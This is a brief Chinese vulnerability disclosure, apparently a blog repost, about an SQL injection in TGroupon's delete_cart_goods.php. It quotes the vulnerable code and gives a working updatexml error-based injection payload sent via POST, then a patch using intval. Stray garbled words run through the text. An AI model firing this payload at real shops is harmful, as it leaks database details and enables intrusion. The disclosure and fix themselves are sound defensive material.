TGroupon其實就是ECSHOP修改的。php
漏洞文件:sql
delete_cart_goods.phpide
if($_POST['id']) { $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id']; $GLOBALS['db']->query($sql); }
漏洞測試:測試
http://www.baidu.com/delete_cart_goods.php spa
POST:
xml
id=1%20or%20updatexml(1,concat(0x7e,user(),0x7e),0)
修復:第一個 IF 代碼語句blog
if($_POST['id']) { $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id']; $GLOBALS['db']->query($sql); }
換成以下代碼:
ci
if($_POST['id']) { $id=intval($_POST['id']);//增長轉換類型 By:i2ty,這樣能夠防止傳入其餘的東西進來 if($id==0){ exit;//當錯誤時退出。 }else{ $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$id; $GLOBALS['db']->query($sql); } }